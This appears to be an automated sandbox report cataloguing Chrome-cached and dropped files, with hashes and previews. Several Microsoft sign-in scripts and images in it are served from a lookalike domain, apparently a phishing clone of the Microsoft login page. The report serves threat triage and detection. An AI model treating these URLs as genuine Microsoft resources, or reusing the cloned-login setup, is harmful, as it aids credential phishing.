SHA-512:	BF195FFC27044B190A04F8B869C2E18D425B87885DA958029850D1E919ABE65A738531A3D193AACA1D233DABF14E79576C73DEBCB9F305E8DC1D932A1AA8BE09
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IuYsm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........28.r.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:44:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.993055454739669
Encrypted:	false
SSDEEP:	48:8IdiTuyfHoidAKZdA1TehDiZUkwqehQy+R:8lzL6y
MD5:	1FD7FB0B12BB2F0BC44424CBAEA9E8EA
SHA1:	32AD9DE006BB77124B3F70EF5B3A153810DE40E5
SHA-256:	A7A9DE08A923B93F9076CB26B4A309F7158DA1FB3B7FEE3BC38F0D897A3A5DCE
SHA-512:	423ACBC3BCB96E71C711ADDBCE09908CCE386134C0FE8C42830A25ECD69ADAFAA318C047A0E06F82F876A7088FE6F46B87F413C3B37EE6190A3995BE500D99CD
Malicious:	false
Preview:	L..................F.@.. ...$+.,....@.Kx.<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IuYsm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........28.r.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:44:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9823274560955
Encrypted:	false
SSDEEP:	48:8adiTuyfHoidAKZdA1dehBiZUk1W1qeh+y+C:87zr9ey
MD5:	9F9BB796C683D0E6BC41A64BA4491A8A
SHA1:	A7233F5FE7BC609B48BFDD6A571C1A256BFEE3A8
SHA-256:	65B89A8F9EDF8A96FE9D80FE5D98FAF9EBD74BBEDA7D5F5029E9C6413A6D1EC8
SHA-512:	C6947DF7F09ACDAFE61F88FEA16E90B67DA298FE949BFEFFF696218BF8B0EABAFE1804287C1F7635D3452F43C4E3FC46228696C2C0FE594FCD8534F03EB03DD5
Malicious:	false
Preview:	L..................F.@.. ...$+.,......Yx.<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IuYsm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........28.r.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:44:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9869399161197774
Encrypted:	false
SSDEEP:	48:8hdiTuyfHoidAKZdA1duTeehOuTbbiZUk5OjqehOuTb4y+yT+:8GzvTfTbxWOvTb4y7T
MD5:	F399A07580148DC7CEDD66CB418E3C39
SHA1:	699BA26EA9B6FB39847A905C96994D07F4FCE54B
SHA-256:	11C8FB0A65F0DB86165326F5073772A7564B2311DF8EC528E599147F1C00C675
SHA-512:	B6D9DF54EA97E200FFE1E2866309D9022F98AEBF41868DFC650098653A4D5302DE139BD882EEBF4BBB5AD248C83337511B420459B4E87A1336FC3E52FE748554
Malicious:	false
Preview:	L..................F.@.. ...$+.,......@x.<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IuYsm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........28.r.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (6071)
Category:	downloaded
Size (bytes):	7044
Entropy (8bit):	5.223117307599674
Encrypted:	false
SSDEEP:	96:jPjDXOMS1WfIDBvGRwieDBcdJTZOp5PRDfa1NLwCEL+KWa12j1L+E93LScNYpUCM:jP7ADRGRH0cd5ZgfeeLRcLpSU0Mt
MD5:	45EF8C1E7E251A0F65B2F3FA9D3F326A
SHA1:	4B6734349FCC7BA5FCFD76EE60E425DB5A5DFE55
SHA-256:	E60F70EBFD4F8F57DE9ED220FEA35EBA407B523C0039297D492F0D20CCF34D1E
SHA-512:	4B20575A53C44B423A6348302744C4B1E4948FCA4B23574DFDC8C0AEEF79F22F49A874FFC16A703EC4DFEF97713B35C6E7D02B83B9CB0991265FA8BE1A6315D7
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pidpdisambiguation_8442c9722efe126153de.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[17],{473:function(i,e,n

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	dropped
Size (bytes):	47672
Entropy (8bit):	5.401921124762015
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUEn+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3UEsnpj
MD5:	B804BCD42117B1BBE45326212AF85105
SHA1:	7B4175AAF0B7E45E03390F50CB8ED93185017014
SHA-256:	B7595C3D2E94DF7416308FA2CCF5AE8832137C76D2E9A8B02E6ED2CB2D92E2F7
SHA-512:	9A4F038F9010DDCCF5E0FAF97102465EF7BA27B33F55C4B86D167C41096DB1E76C8212A5E36565F0447C4F57340A10DB07BB9AE26982DFFF92C411B5B1F1FB97
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32960)
Category:	downloaded
Size (bytes):	109863
Entropy (8bit):	5.310477442235456
Encrypted:	false
SSDEEP:	1536:h075gTHnCjF5awQcuyhKzCYwwtqteq0pJiZtimO2Vfm:h0lgTsQczkCYwwtqtd82ti+e
MD5:	46C21D0ACECBD2212374B27C7D1B078A
SHA1:	5861965E506ACAAA7D10E5B9C31E99D254B85560
SHA-256:	5F5FBEE72883732799D75F6C08679ED8A6E769AE4F3AFDCD3721103A481AFA80
SHA-512:	B7E4980A66F15A8B918C2325CDC5FC41BADD0DEF7A43B2A2A93C593D05FC2ED4793448115DCC28B551F73623D876DB2B4672D64C3EE064369181FB74919FFC51
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[7],{496:function(e,t,n)

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
URL:	https://r4.res.office365.com/owa/prem/15.20.8182.16/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32016)
Category:	downloaded
Size (bytes):	57510
Entropy (8bit):	5.3728935008680745
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3P7ym+d/Px25+1wtv+ixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJ/7ym+d/Po5+1wtv+iJig/Ml
MD5:	23C7FEEF919F9374C1B26F019804CDA8
SHA1:	3E22BA24CFD4F5A1C4D189AAADB1A82A867377C0
SHA-256:	993A5748DB7B6BC125F88788845A7599234130BCE2858B528071035488CB886D
SHA-512:	93D4D19CA4BACFC0AD64690E2426D573D47991DAF772D178D5C477369675539274A5E97C666A97A49AD0EC82E566EF4B71E967E7D7FFC575FBD2171E06791276
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1378
Entropy (8bit):	4.316299265862323
Encrypted:	false
SSDEEP:	24:t4pb8m3NquUzOqnXmZcU4BC+CaAIA5cAEisx+fUu3fLkY:zoNLUzOeXfU4BJxA5fXUWx
MD5:	F83EBFF69A4A1685E4DC9650CDAB8886
SHA1:	FD21658884945B00157557AE06803DAA6A9F10C6
SHA-256:	7B1669DA90261CDB1483950BB480AD96875F84B09BC48D1055303CE94821BF64
SHA-512:	AA21A03AB84FA0129AFCED8A56E499757A6625C9B24A81EE08F5775B9B542F71BA67EAE817D633CB4E4533A8CF6A0DDA80BD7EE8A90E95AB3D39A77F88073F23
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:#e6e6e6;}.b{fill:#404040;}</style></defs><circle class="a" cx="24" cy="24" r="24"/><path class="b" d="M32.5,14A1.492,1.492,0,0,1,34,15.5V38.5A1.494,1.494,0,0,1,32.5,40h-17A1.494,1.494,0,0,1,14,38.5v-23A1.494,1.494,0,0,1,15.5,14h4.873l-3-6h2.25l3,6h2.751l3-6h2.25l-3,6ZM32,16H23.623l1.266,2.546A1.13,1.13,0,0,1,25,19a1.009,1.009,0,0,1-1,1,1,1,0,0,1-.534-.149.974.974,0,0,1-.368-.4L21.375,16H16v22H32ZM20,26a3.92,3.92,0,0,1,.312-1.555,4.023,4.023,0,0,1,2.133-2.133,4.041,4.041,0,0,1,3.109,0,4.014,4.014,0,0,1,2.133,2.133A3.886,3.886,0,0,1,28,26a3.937,3.937,0,0,1-.288,1.485,3.987,3.987,0,0,1-.8,1.266A5.7,5.7,0,0,1,28.2,29.7a5.907,5.907,0,0,1,.968,1.251,6.388,6.388,0,0,1,.616,1.461A5.786,5.786,0,0,1,30,34H28a3.877,3.877,0,0,0-.312-1.554,4,4,0,0,0-2.133-2.133,4.011,4.011,0,0,0-3.109,0,4.023,4.023,0,0,0-2.133,2.133A3.912,3.912,0,0,0,20,33.995H18a5.786,5.786,0,0,1,.218-1.586,6.388,6.388,0,0,1,.61

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	379
Entropy (8bit):	4.942805876241154
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXADQKDTcVEq0FyX4bVGEynbtwag8R+mkbtR1dI1zAmiadc:t4pb8WsQKvkB0wX4gEkbtLv8mkbtvdIe
MD5:	2D8F86059BE176833897099EE6DDEDEB
SHA1:	93A2E327027DEED53076E86BFA7D9EEBBF0CC4B9
SHA-256:	34D8DA073F47030EE94B99D84FBE68E3345BD8AAA37EA909FF2DA00238447486
SHA-512:	64D75B1F35180FF61F5BF11D21544454DF016D0854573D75D277FCB933CE845D1436BDC822445B78C627A1FF730B39FC34B72C27D45A39E237F2CCF0876FCA4E
Malicious:	false
URL:	https://sharedfile4rom1nternet.com/aadcdn.msftauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><circle cx="24" cy="24" r="24" fill="#e6e6e6"/><path d="M13.44,36h1.92a8.64,8.64,0,1,1,17.28,0h1.92a10.573,10.573,0,0,0-6.569-9.771,7.68,7.68,0,1,0-7.982,0A10.573,10.573,0,0,0,13.44,36Zm4.8-16.32A5.76,5.76,0,1,1,24,25.44,5.766,5.766,0,0,1,18.24,19.68Z" fill="#404040"/></svg>

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32016)
Category:	dropped
Size (bytes):	57510
Entropy (8bit):	5.3728935008680745
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3P7ym+d/Px25+1wtv+ixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJ/7ym+d/Po5+1wtv+iJig/Ml
MD5:	23C7FEEF919F9374C1B26F019804CDA8
SHA1:	3E22BA24CFD4F5A1C4D189AAADB1A82A867377C0
SHA-256:	993A5748DB7B6BC125F88788845A7599234130BCE2858B528071035488CB886D
SHA-512:	93D4D19CA4BACFC0AD64690E2426D573D47991DAF772D178D5C477369675539274A5E97C666A97A49AD0EC82E566EF4B71E967E7D7FFC575FBD2171E06791276
Malicious:	false
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	4.316299265862323
Encrypted:	false
SSDEEP:	24:t4pb8m3NquUzOqnXmZcU4BC+CaAIA5cAEisx+fUu3fLkY:zoNLUzOeXfU4BJxA5fXUWx
